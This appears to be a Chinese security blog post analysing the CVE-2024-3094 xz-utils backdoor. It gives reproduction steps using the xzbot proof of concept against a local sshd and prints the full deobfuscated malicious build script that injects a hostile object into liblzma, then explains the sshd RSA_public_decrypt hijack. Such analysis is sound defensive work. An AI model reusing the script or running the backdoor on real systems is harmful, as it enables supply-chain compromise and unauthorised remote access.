文章目录
前言
XZ-Utils是Linux、Unix等POSIX兼容系统中广泛用于处理.xz文件的套件,包含liblzma、xz等组件,已集成在debian、ubuntu、centos等发行版仓库中。2024年3月29日,安全社区披露其存在CVE-2024-3094 XZ-Utils 5.6.0-5.6.1版本后门风险。该后门存在于XZ Utils的5.6.0和5.6.1版本中,由于SSH底层依赖了liblzma等,攻击者可能利用这一漏洞在受影响的系统上绕过SSH的认证获得未授权访问权限,执行任意代码。本篇文章将从漏洞复现、原理分析以及漏洞修复这三个方面对CVE-2024-3094进行详细介绍。以下就是本篇博客的全部内容。
1、概述
Andres Freund在2024年3月29日发现了一个在xz-utils注入的后门,使用了xz/lzma 5.6.0/5.6.1的项目皆受影响。目前该漏洞已被命名为CVE-2024-3094。
xz-utils分为liblzma和xz两部分。xz是一个单文件压缩软件,采用了压缩率高的LZMA算法,在Linux中被广泛使用。liblzma是LZMA算法的实现,被应用于systemd等多个Linux系统和应用软件。
目前,Fedora,Arch Linux和openSUSE等多个发行版向用户发出了警告,要求用户立即降级或升级到不存在后门或已经去除后门的xz-utils版本。
1.1、XZ攻击发现
xz-utils的5.6.0和5.6.1版本被维护者JiaTan注入了后门。在2024年3月29日,后门被发现并迅速引起了各大发行版的注意。具体来说,该漏洞从被注入到发现的全部过程如下。
- 攻击者JiaT75(JiaTan)于2021年注册了GitHub账号,之后积极参与xz项目的维护,并逐渐获取信任,获得了直接commit代码的权利。
- JiaT75在最近几个月的一次commit中,悄悄加入了“bad-3-corrupt_lzma2.xz”和“good-large_compressed.lzma”两个看起来没有任何问题的测试用二进制数据。然而在编译脚本中,在特定条件下会从这两个文件中读取内容对编译结果进行修改,致使编译结果和公开的源代码不一致。
- 这些通过修改后被注入的代码会劫持OpenSSH的
RSA_public_decrypt()
函数,致使攻击者可以通过构造特定的验证数据绕过RSA签名验证。 - 只要是同时使用了liblzma和OpenSSH的程序就会受到影响,最直接的目标就是SSHD,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
- 受影响的xz-utils包已经被并入Debian testing中进行测试,攻击者同时也在尝试并入fedora和ubuntu。
- 然而,注入的代码似乎存在某种Bug,导致特定情况下SSHD的CPU占用飙升。被一位PostgreSQL的安全研究人员注意到了,顺藤摸瓜发现了这个漏洞并报告给oss-security,致使该漏洞被披露。
1.2、XZ
XZ是一种用于数据压缩和解压缩的开源工具和文件格式。它通常使用LZMA算法来实现高压缩比。XZ工具集包括了用于压缩和解压缩的命令行工具,以及用于创建和解压XZ格式文件的库。XZ格式通常用于在操作系统中存档和分发软件包,因为它提供了出色的压缩比和压缩速度。XZ的主要特点包括:
- 高压缩比:XZ使用LZMA算法,这是一种高度可定制的压缩算法,能够实现非常高的压缩比。
- 跨平台支持:XZ可在多个操作系统上使用,包括Linux、Unix、Windows等。
- 开源:XZ是开源软件,可以自由地使用、修改和分发。
- 支持多线程压缩:XZ工具集支持多线程压缩,可以加快压缩速度。
- 逐步压缩:XZ支持逐步压缩,允许用户在压缩过程中根据需要选择不同的压缩级别。
总的来说,XZ是一种强大的压缩工具,适用于需要高压缩比和可移植性的场景,例如软件分发、归档和数据备份等。
1.3、Liblzma
Liblzma是一个开源的数据压缩库,用于提供对XZ和LZMA格式的压缩和解压缩功能。它是XZ工具集的一部分,提供了用于程序化压缩和解压缩数据的API。以下是Liblzma的主要特点和功能:
- 支持XZ和LZMA格式:Liblzma可以用于处理XZ和LZMA格式的数据,这两种格式都使用LZMA算法进行压缩。
- 高压缩比:LZMA算法是一种高效的压缩算法,能够实现很高的压缩比,因此Liblzma可以用于需要高度压缩的应用场景。
- 多种接口:Liblzma提供了多种接口,包括简单的单函数调用接口和更为灵活的流式接口,使得开发人员可以根据需要选择合适的接口来实现压缩和解压功能。
- 跨平台支持:Liblzma可以在多个操作系统上运行,比如Linux、Unix和Windows等。
- 开源:Liblzma是开源软件,可以自由地使用、修改和分发,符合自由软件和开源软件的精神。
- 性能优化:Liblzma经过性能优化,具有较高的压缩和解压速度,同时也支持多线程压缩,可以充分利用多核处理器的优势。
总的来说,Liblzma是一个强大而灵活的数据压缩库,适用于需要高压缩比和可移植性的应用场景,开发人员可以利用它来实现各种压缩和解压缩功能。
2、漏洞复现
该漏洞可以导致RCE攻击,即通过拦截OpenSSH连接到目标主机的请求,经过处理后,最终可以在目标主机上执行目标命令。
2.1、漏洞复现测试环境
软件环境 | 硬件环境 | 约束条件 |
---|---|---|
操作系统版本为Ubuntu 22.04.2 LTS | 分配4个处理器,每个处理器有4个内核,处理器内核总数为16 | xz-utils版本为5.6.0/5.6.1 |
Linux内核版本为5.19.0-43-generic | 内存16GB | |
使用的虚拟机管理器为VMware 17.0.0 | 硬盘400GB |
2.2、漏洞复现具体步骤
- 首先下载漏洞复现所需要的相关资源:
$ cd ~
$ git clone https://github.com/amlweems/xzbot.git
- 然后下载OpenSSH源码,并对其打补丁,目的是使用与该漏洞的后门格式匹配的公钥进行连接:
$ cd ~
$ git clone https://github.com/openssh/openssh-portable
$ cd openssh-portable/
$ patch -p1 < ~/xzbot/openssh.patch
$ autoreconf
$ sudo apt install openssl libssl-dev -y
$ ./configure
$ make
- 然后下载并安装存在该漏洞的xz-utils:
$ cd ~
$ wget https://salsa.debian.org/debian/xz-utils/-/archive/debian/unstable/xz-utils-debian-unstable.tar.gz
$ tar -zxvf xz-utils-debian-unstable.tar.gz
$ cd xz-utils-debian-unstable/
$ ./configure
$ make
$ sudo make install
- 然后对原有的“liblzma.so”打补丁:
$ cd ~/xzbot/
$ sudo apt install python3-pip -y
$ pip install pwntools
$ python3 patch.py assets/liblzma.so.5.6.1
- 然后安装Go并安装拥有POC的Go模块:
$ cd ~
$ sudo apt install golang -y
$ go env -w GOPROXY=https://goproxy.cn
$ go install github.com/amlweems/xzbot@latest
- 打开一个新的终端,执行如下命令来监听本地的2222端口:
$ nc -l 2222
- 然后回到之前的终端,执行如下命令来进行漏洞复现:
$ ~/go/bin/xzbot -addr 127.0.0.1:2222 id > /tmp/.xz
- 然后会在监听终端打印如下信息:
3、漏洞原理分析
3.1、漏洞触发流程
该漏洞从构造到触发的全部流程如下图所示。可以发现,整个过程共包括三个阶段,故本章将会分章节对其进行详细分析。
3.1.1、构建恶意脚本
该漏洞源于xz-utils源代码(以下称xz-utils 5.6.0)中的“/xz-utils 5.6.0/m4/build-to-host.m4”文件,我们注意到该文件第63行的代码。
在这里需要强调一下几个变量的定义后,最终才能拼接成完整的命令。
-
gl_am_configmake
:其定义在“/xz-utils 5.6.0/config.status”的第692行
-
gl_path_map
:其定义在“/xz-utils 5.6.0/config.status”的第690行
-
gl_[$1]_prefix
:其定义在“/xz-utils 5.6.0/m4/build-to-host.m4”的第40行
经过上面的分析我们可知,最终“/xz-utils 5.6.0/m4/build-to-host.m4”第63行的命令将被替换为下面的命令。
sed \"r\n\" ./tests/files/bad-3-corrupt_lzma2.xz | eval tr "\t \-_" " \t_\-" | echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*\.//g" -d 2>/dev/null
为了搞清楚该命令究竟会得到什么结果我们首先下载包含漏洞的源代码,即xz-utils 5.6.0(unstable)。并将其解压后进入其目录。
$ wget https://salsa.debian.org/debian/xz-utils/-/archive/debian/unstable/xz-utils-debian-unstable.tar.gz
$ tar -zxvf xz-utils-debian-unstable.tar.gz
$ cd xz-utils-debian-unstable/
来到源码目录后,首先修改“/xz-utils 5.6.0/m4/build-to-host.m4”文件。
$ gedit m4/build-to-host.m4
让我们做如下图所示的修改,这样做的目的是将目标命令的执行结果保存到本地,从而可以查看最终该命令会输出什么内容。
然后执行如下命令对其进行编译。
$ sudo apt-get install automake
$ ./configure
$ make
然后打开输出的文件(有输出的文件就说明xz-utils 5.6.0在编译的过程中调用了“/xz-utils 5.6.0/m4/build-to-host.m4”文件中的命令),查看其中的内容。
很明显这是一个Shell命令的脚本,故我们将该输出文件重命名并放到xz-utils 5.6.0源代码目录中执行。
$ cp ~/output_first.txt xz-utils-debian-unstable/test_first.sh
$ chmod u+x ~/xz-utils-debian-unstable/test_first.sh
为了可以清楚地看到输出内容,我们修改一下该Shell命令脚本。
$ gedit ~/xz-utils-debian-unstable/test_first.sh
在打开的文件中做如下图所示的修改,目的是将输出结果保存到指定文件中。
最后执行该脚本。
$ ~/xz-utils-debian-unstable/test_first.sh
执行上面的脚本后,会在“~/xz-utils-debian-unstable”目录中得到一个名为“test_second.sh”的文件。打开该文件会得到下面的内容。
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
eval $zrKcSS
eval `grep ^LD=\'\/ config.status`
eval `grep ^CC=\' config.status`
eval `grep ^GCC=\' config.status`
eval `grep ^srcdir=\' config.status`
eval `grep ^build=\'x86_64 config.status`
eval `grep ^enable_shared=\'yes\' config.status`
eval `grep ^enable_static=\' config.status`
eval `grep ^gl_path_map=\' config.status`
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
eval $zrKccj
if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
exit 0
fi
if test "x$enable_shared" != "xyes";then
exit 0
fi
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
exit 0
fi
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
eval $zrKcst
j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
z="^am__uninstall_files_from_dir = {"
if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
w="^am__install_max ="
if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
E=$z
if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
Q="^am__vpath_adj_setup ="
if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
M="^am__include = include"
if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
L="^all: all-recursive$"
if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs "$O" libtool > /dev/null 2>&1;then
exit 0
fi
eval $zrKcTy
b="am__test = $U"
sed -i "/$j/i$b" src/liblzma/Makefile || true
d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
b="am__strip_prefix = $d"
sed -i "/$w/i$b" src/liblzma/Makefile || true
b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
sed -i "/$E/i$b" src/liblzma/Makefile || true
b="\$(top_srcdir)/tests/files/\$(am__test)"
s="am__test_dir=$b"
sed -i "/$Q/i$s" src/liblzma/Makefile || true
h="-Wl,--sort-section=name,-X"
if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
h=$h",-z,now"
fi
j="liblzma_la_LDFLAGS += $h"
sed -i "/$L/i$j" src/liblzma/Makefile || true
sed -i "s/$O/$C/g" libtool || true
k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
sed -i "s/$u/$k/" src/liblzma/Makefile || true
l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
export top_srcdir='\$(top_srcdir)'; \\\\\n\
export CC='\$(CC)'; \\\\\n\
export DEFS='\$(DEFS)'; \\\\\n\
export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
export INCLUDES='\$(INCLUDES)'; \\\\\n\
export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
export CFLAGS='\$(CFLAGS)'; \\\\\n\
export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
export libdir='\$(libdir)'; \\\\\n\
export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
sed -i "/$m/i$l" src/liblzma/Makefile || true
eval $zrKcHD
fi
elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
eval $zrKcKQ
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
exit 0
fi
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
exit 0
fi
if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$C" ../../libtool; then
exit 0
fi
if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
exit 0
fi
if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
exit 0
fi
N=0
W=0
Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
eval $zrKcjv
if test -z "$Y"; then
N=0
W=88664
else
N=88664
W=0
fi
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
fi
cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
eval $yosA
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
eval $BPep
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
sed "/include \"crc32_arm64.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then
eval $RgYB
if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
if test ! -f .libs/liblzma.so; then
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -f .libs/liblzma_la-crc32-fast.o || true
rm -f .libs/liblzma_la-crc64-fast.o || true
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
else
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -f liblzma_la-crc64-fast.o || true
fi
eval $DHLd
很明显,这就是最终生成的恶意脚本,我们下面来主要分析该恶意脚本都做了什么。其实该脚本主要有三个核心部分,其余部分都是一些检查,我们并不对其进行分析。
- 检索包含特定签名的文件,并将其转换后执行
- 修改待编译的Makefile
- 生成恶意二进制文件
在这里我们暂时先分析上面标红的逻辑,而对于标绿的两处逻辑,请参考下一章节的分析,因为后两处逻辑是下一阶段要做的事情。标红的逻辑主要目的是检索包含特定签名的文件,并将其转换后执行。
这段代码用于从指定目录下的文件中提取特定内容并进行处理。以下是其执行流程:
vs=grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null
:这一行使用grep
命令在指定目录$srcdir/tests/files/
中搜索指定的文本~!:_ W
。参数-broaF
用于指定grep
的行号输出格式,其中-b
表示输出匹配行的字节偏移,-r
表示递归搜索子目录,-o
表示只输出匹配的部分,-a
表示将二进制文件视为文本文件,-F
表示以固定字符串而不是正则表达式进行匹配。if test "x$vs" != "x" > /dev/null 2>&1;then
:这一行检查变量vs
是否为空,如果不为空则继续执行后续操作。f1=echo $vs | cut -d: -f1
:这一行使用cut
命令从变量vs
中提取出搜索结果的文件路径,并赋值给变量f1
。start=expr $(echo $vs | cut -d: -f2) + 7
:这一行使用cut
命令提取出搜索结果的行号,并加上7
,然后赋值给变量start
。这个7可能是基于特定的偏移量或其他规则来计算的。ve=grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null
:这一行类似于第1步,用于在指定目录中搜索另一个特定的文本|_!{ -
。if test "x$ve" != "x" > /dev/null 2>&1;then
:这一行检查变量ve
是否为空,如果不为空则继续执行后续操作。f2=echo $ve | cut -d: -f1
:这一行使用cut
命令从变量ve
中提取出搜索结果的文件路径,并赋值给变量f2
。[ ! "x$f2" = "x$f1" ] && exit 0
:这一行检查变量f2
是否与f1
相同,如果不同则退出脚本,可能是为了避免重复处理同一个文件。[ ! -f $f1 ] && exit 0
:这一行检查文件f1
是否存在,如果不存在则退出脚本。end=expr $(echo $ve | cut -d: -f2) - $start
:这一行计算出结束位置,通过减去start
的值来确定。eval cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc
:这一行将指定文件$f1
中的特定部分提取出来,并进行了一系列处理,包括使用tail
命令从start
位置开始截取内容,然后使用head
命令截取到end
位置,再通过tr
命令进行字符转换,最后使用xz
命令进行解压缩。整个处理过程使用了eval
命令执行。
3.1.2、生成恶意二进制文件
在上一阶段,我们已经构建好了恶意脚本,其中包括三个核心逻辑。不过还有两个逻辑我们没有介绍,即“修改待编译的Makefile”和“生成恶意二进制文件”。在本章我们将对这两个逻辑进行详细分析,不过会调整一下顺序,因为按照逻辑关系,“生成恶意二进制文件”后通过“修改待编译的Makefile”才可以将该恶意二进制文件编译到目标库中。
所以我们先来看如何“生成恶意二进制文件”,首先我们关注恶意脚本中如下所示的代码片段。
这段代码的作用是解压缩一个文件(使用xz -dc
命令),然后通过管道将输出传递给一系列命令进行处理,最终将结果写入文件“liblzma_la-crc64-fast.o”中。其具体执行逻辑如下。
-
N=0
和W=88664
定义了两个变量N
和W
,分别赋值为0
和88664
。 -
else
部分是一个条件分支,如果上面的条件不满足,则执行该部分的代码。在这里,它简单地将N
赋值为88664
,W
赋值为0
。 -
xz -dc $top_srcdir/tests/files/$p
:使用xz
命令解压缩文件$top_srcdir/tests/files/$p
(即“/xz-utils 5.6.0/tests/files/good-large_compressed.lzma”),并将解压缩的内容输出到标准输出。 -
eval $i
:eval
命令用于执行变量i
中存储的命令。 -
LC_ALL=C sed "s/\(.\)/\1\n/g"
:这个sed
命令将每个字符都替换成它自己加一个换行符,即将每个字符都单独放在一行。 -
LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}'
:这段awk
命令实现了一个简单的置换密码(Substitution Cipher),通过对输入的每个字符进行一系列变换操作来加密数据。这段加密算法的格式化形式如下。 -
xz -dc --single-stream
:再次使用xz
命令解压缩数据,--single-stream
选项表示输入只有一个数据流。 -
((head -c +$N > /dev/null 2>&1) && head -c +$W)
:这是一个复合命令,首先执行head -c +$N
,然后将结果输出到/dev/null
中,接着检查是否成功,如果成功,则执行head -c +$W
。 -
最后,通过重定向操作符
>
将最终结果写入文件“liblzma_la-crc64-fast.o”中,|| true
部分用于忽略可能的错误。
总之,该脚本最后生成了“liblzma_la-crc64-fast.o”恶意二进制文件,不过最后该脚本又将该恶意二进制文件重命名为“liblzma_la-crc64_fast.o”,并将其放置在“/xz-utils 5.6.0/src/liblzma/.libs/”目录中,即最终会得到“/xz-utils 5.6.0/src/liblzma/.libs/liblzma_la-crc64_fast.o”恶意二进制文件(其实还会得到“/xz-utils 5.6.0/src/liblzma/.libs/liblzma_la-crc32_fast.o”,不过我们默认是64位环境,故按照64位向下分析即可,不再赘述32位的恶意二进制文件,因为它们都是一样的)。
现在我们思考一个问题,编译好的恶意二进制文件如何被调用呢?其实这个问题的答案也在该恶意脚本中,即如下图所示的部分代码。这段代码通过向“/xz-utils 5.6.0/src/liblzma/Makefile”文件中插入如下图红框和红箭头所示的内容,以将“liblzma_la-crc64_fast.o”编译到“/xz-utils 5.6.0/src/liblzma/.libs/liblzma.so”中。后续就可以通过“/xz-utils 5.6.0/src/liblzma/.libs/liblzma.so”来调用我们在该阶段生成的恶意二进制文件了。
3.1.3、触发目标漏洞后门
当我们把恶意二进制文件编译到目标库中后,又是如何被调用的呢?或者说是什么时候、什么条件会触发该恶意二进制文件的执行呢?我们需要清楚,SSHD在使用的时候可能会加载到许多库,比如。
- libaudit.so.1:audit-libs
- libc.so.6:glibc
- libcap-ng.so.0:libcap-ng
- libcap.so.2:libcap
- libcom_err.so.2:libcom_err
- libcrypt.so.2:libxcrypt
- libcrypto.so.3:openssl-libs
- libeconf.so.0:libeconf
- libgcc_s.so.1:libgcc
- libgssapi_krb5.so.2:krb5-libs
- libk5crypto.so.3:krb5-libs
- libkeyutils.so.1:keyutils-libs
- libkrb5.so.3:krb5-libs
- libkrb5support.so.0:krb5-libs
- liblz4.so.1:lz4-libs
- liblzma.so:xz-utils
- libm.so.6:glibc
- libpam.so.0:pam-libs
- libpcre2-8.so.0:pcre2
- libresolv.so.2:glibc
- libselinux.so.1:libselinux
- libsystemd.so.0:systemd-libs
- libz.so.1:zlib:/:zlib-ng
- libzstd.so.1:zstd
可以发现,其中SSHD就加载了“liblzma.so”库(如上面标红部分所示),而当SSHD加载liblzma.so库时,加载器就会调用resolver()
函数来解析库中的函数指针,而resolver()
函数又会根据需要(针对特定函数的指针)调用crc32_resolve()
函数或crc64_resolve()
函数(后续我们以crc64_resolve()
函数为例,因为默认我们认为都是64位环境,且它们的执行流程都是一样的)。问题就出现在这里,在前面的恶意脚本中,通过下面的代码向crc64_resolve()
函数中插入了一个名为“_get_cpuid”的函数。
其实这里并不是插入该函数,而是将该函数进行了替换。因为crc64_resolve()
函数本身就会调用_get_cpuid()
函数,只不过原本调用的_get_cpuid()
函数是GCC中的,其函数实现如下图所示。其实现在“/gcc-11.4.0/gcc/config/i386/cpuid.h”的第301行。
而经过上面的替换后,crc64_resolve()
函数最终会调用恶意代码替换后的_get_cpuid()
函数。那么该函数实现在哪里呢?还记得之前由恶意脚本生成的恶意二进制文件(即“liblzma_la-crc64_fast.o”)吗?使用IDA将其反编译后,就可以找到关于替换后的_get_cpuid()
函数的具体实现,如下图所示。
可以发现,_get_cpuid()
函数最终调用了sub_A710()
函数,而sub_A710()
函数也可以在反编译的恶意二进制文件中找到(后续所有函数都可以在该恶意二进制文件中找到,故不再赘述),如下图所示。
而在sub_A710()
函数中,又调用了_Llzma_block_param_encoder_0()
函数,而该函数正是该漏洞的后门的入口函数。
_Llzma_block_param_encoder_0()
函数最终通过调用sub_A310()
函数完成对当前进程的校验,即检查当前进程是否为SSHD(即“/usr/sbin/sshd”)。如果当前进程不是SSHD,则后门程序直接返回。反之判断当前系统的环境变量是否符合要求。如果当前系统的环境变量不符合要求,则后门程序也会直接返回。反之进行真正的RCE攻击。
最终实现RCE攻击的函数为_Llzma_index_prealloc_0()
,在_Llzma_index_prealloc_0()
函数中,后门程序会劫持RSA_public_decrypt()
函数的GOT表(全局偏移表)。
而这个RSA_public_decrypt()
函数又是干什么的呢?为什么要劫持它呢?这是因为RSA_public_decrypt()
是RSA算法中的一个函数,用于使用公钥对密文进行解密。通常情况下,这个函数被用来验证数字签名或者解密由私钥加密的数据。当后门程序劫持该函数的GOT表后,就可以修改公钥认证的方式,从而通过SSHD来进行RCE攻击。
然而该函数不仅仅是劫持了RSA_public_decrypt()
函数,当劫持后的代码执行完毕后,还可以返回原本正常的代码执行逻辑。所以在这里包括对劫持后的逻辑进行处理的函数,该函数即_Llzma_index_stream_size_1()
函数。(Ps:由于该函数太长,并没有截取全部内容。)
3.2、漏洞触发总结
